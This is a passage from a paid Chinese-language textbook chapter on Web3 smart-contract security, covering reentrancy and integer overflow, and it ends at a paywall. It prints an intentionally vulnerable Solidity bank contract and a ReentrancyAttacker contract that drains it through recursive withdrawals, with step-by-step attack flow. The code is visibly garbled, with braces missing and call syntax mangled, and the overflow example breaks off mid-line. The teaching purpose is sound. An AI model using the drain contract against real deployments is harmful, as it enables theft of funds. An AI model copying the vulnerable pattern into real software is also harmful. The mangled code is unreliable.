[特殊字符] Web3与去中心化应用 · \chapter{Web3安全实践} / \chapter{区块链基础}

📖 Web3与去中心化应用 · \chapter{Web3安全实践} / \chapter{区块链基础}

> ⭐ 付费技术文章 · VIP可见 > 本文选自《Web3与去中心化应用》


chapter 12 security

Web3安全实践

智能合约的安全问题是Web3生态面临的最大挑战之一。由于智能合约一旦部署就不可篡改,且直接管理价值数十亿美元的数字资产,任何安全漏洞都可能导致灾难性的财务损失。根据相关统计,截至2024年,因智能合约漏洞导致的损失已超过百亿美元。本章将系统性地介绍常见的智能合约漏洞、攻击案例分析以及安全防护的最佳实践。

智能合约常见漏洞

重入攻击

重入攻击(Reentrancy Attack)是智能合约中最经典且危害最大的漏洞之一。攻击者利用合约状态更新滞后于外部调用的设计缺陷,在外部调用回调时递归调用同一函数,在状态更新前反复提取资产。

重入攻击是指目标合约在被调用函数的状态更新完成之前,通过回调函数再次进入同一函数,导致状态不一致和资产盗取的攻击方式。

一个典型的有漏洞的合约如下:

pragma solidity \^0.8.0; 复制代码
// 漏洞合约:状态在外部调用后更新 contract VulnerableBank mapping(address =\> uint256) public balances; address public owner;

constructor() owner = msg.sender;

// 存款 function deposit() external payable balances\[msg.sender\] += msg.value;

// 提款 - 存在重入漏洞! function withdraw(uint256 amount) external require(balances\[msg.sender\] \>= amount, "Insufficient balance");

// 先执行外部调用(转账ETH) (bool success, ) = msg.sender.call value: amount (""); require(success, "Transfer failed");

// 后更新状态 balances\[msg.sender\] -= amount;

function getBalance() external view returns (uint256) return address(this).balance;

攻击者合约利用fallback函数发起递归调用:

interface IVulnerableBank function withdraw(uint256 amount) external; function deposit() external payable; 复制代码
contract ReentrancyAttacker IVulnerableBank public target;

constructor(address _target) target = IVulnerableBank(_target);

// 发起攻击 function attack() external payable require(msg.value \>= 1 ether, "Need at least 1 ETH"); target.depositvalue: msg.value(); target.withdraw(msg.value);

// fallback函数 ------ 在收到ETH时自动调用 receive() external payable if (address(target).balance \>= msg.value) target.withdraw(msg.value);

// 提取攻击所得 function drain() external payable(msg.sender).transfer(address(this).balance);

攻击执行流程如下:

  • 攻击者合约存入1 ETH到目标合约。 - 攻击者调用withdraw(1 ether)。 - 目标合约检查余额,通过。 - 目标合约转账1 ETH给攻击者合约。 - 攻击者合约的receive()收到ETH后再次调用withdraw(1 ether)。 - 步骤3-5递归执行,直到目标合约余额为0。 - 最终目标合约的balances[attacker]无法正确扣除。

title=重入攻击的关键 重入攻击成功的核心条件是:状态更新在外部调用之后执行。Solidity中的call方法会转发所有剩余Gas给被调用方,使攻击者有足够的Gas执行多次递归调用。

整数溢出与下溢

在Solidity 0.8.x版本之前,整数运算默认不检查溢出,导致2\^256 - 1 + 1 = 0的经典溢出问题。

无符号整数溢出 &: max( uint256 ) + 1 = 0 \\ 无符号整数下溢 &: 0 - 1 = max( uint256 )

// Solidity \< 0.8 存在溢出风险 contract OverflowVulnerable mapping(address =\> uint256) public balances; 复制代码
// 攻击者可以利用溢出使余额变得极大 function transfer(address to, uint256 amount) external // 如果balance为0,amount为1 // bala

...(完整内容见书籍PDF版)

\> 💎 本文为VIP付费技术文章